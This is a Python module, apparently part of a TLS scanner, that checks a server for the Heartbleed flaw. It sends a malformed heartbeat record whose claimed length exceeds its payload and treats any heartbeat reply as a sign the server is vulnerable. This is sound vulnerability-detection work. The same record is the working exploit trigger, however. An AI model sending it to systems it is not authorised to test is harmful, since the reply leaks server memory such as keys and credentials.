from __future__ import annotations
import asyncio
import os
import struct
from dataclasses import dataclass

from ..protocol import constants as C
from ..protocol import wire


@dataclass
class HeartbleedResult:
    vulnerable: bool
    heartbeat_extension_advertised: bool
    error: str | None = None


def _build_heartbeat_record(version: int = C.TLS_1_2, claimed_length: int = 0x4000) -> bytes:
    payload = b"\x01" + struct.pack("!H", claimed_length) + b"X" + b"\x00" * 16
    return bytes([C.CT_HEARTBEAT]) + struct.pack("!H", version) + struct.pack("!H", len(payload)) + payload


async def probe(host: str, port: int, sni: str | None, timeout: float = 8.0) -> HeartbleedResult:
    """Send TLS 1.2 ClientHello with heartbeat extension, then a malformed heartbeat.

    If the server replies with a heartbeat response longer than what we sent
    (or any response to the malformed message) it's likely vulnerable.
    """
    try:
        reader, writer = await asyncio.wait_for(asyncio.open_connection(host, port), timeout=timeout)
    except Exception as e:
        return HeartbleedResult(False, False, error=f"connect: {e}")
    try:
        ext_parts = [
            (wire.ext_server_name(sni) if sni and not wire._is_ip_literal(sni) else b""),
            wire.ext_ec_point_formats(),
            wire.ext_supported_groups([0x001d, 0x0017, 0x0018]),
            wire.ext_signature_algorithms([0x0403, 0x0804, 0x0401]),
            wire.ext_heartbeat_enabled(),
            wire.ext_renegotiation_info_empty(),
        ]
        exts = b"".join(ext_parts)
        ch = wire.build_client_hello(
            record_version=C.TLS_1_0,
            client_hello_version=C.TLS_1_2,
            hostname=sni,
            cipher_suites=[0xc02f, 0xc030, 0x009c, 0x009d, 0x002f, 0x0035, 0x000a],
            extensions=exts,
        )
        writer.write(ch)
        try:
            await asyncio.wait_for(writer.drain(), timeout=timeout)
        except Exception:
            pass
        data = b""
        try:
            data = await asyncio.wait_for(reader.read(65536), timeout=timeout)
        except Exception:
            pass
        heartbeat_ext = False
        if data:
            parsed = wire.parse_server_response(data)
            if parsed and parsed.extensions and C.EXT_HEARTBEAT in parsed.extensions:
                heartbeat_ext = True

        writer.write(_build_heartbeat_record())
        try:
            await asyncio.wait_for(writer.drain(), timeout=timeout)
        except Exception:
            pass
        try:
            reply = await asyncio.wait_for(reader.read(65536), timeout=3.0)
        except Exception:
            reply = b""
        vulnerable = False
        if reply and reply[0] == C.CT_HEARTBEAT and len(reply) > 8:
            vulnerable = True
        return HeartbleedResult(vulnerable=vulnerable, heartbeat_extension_advertised=heartbeat_ext)
    except Exception as e:
        return HeartbleedResult(False, False, error=f"{e.__class__.__name__}: {e}")
    finally:
        try:
            writer.close()
            await asyncio.wait_for(writer.wait_closed(), timeout=1.5)
        except Exception:
            pass
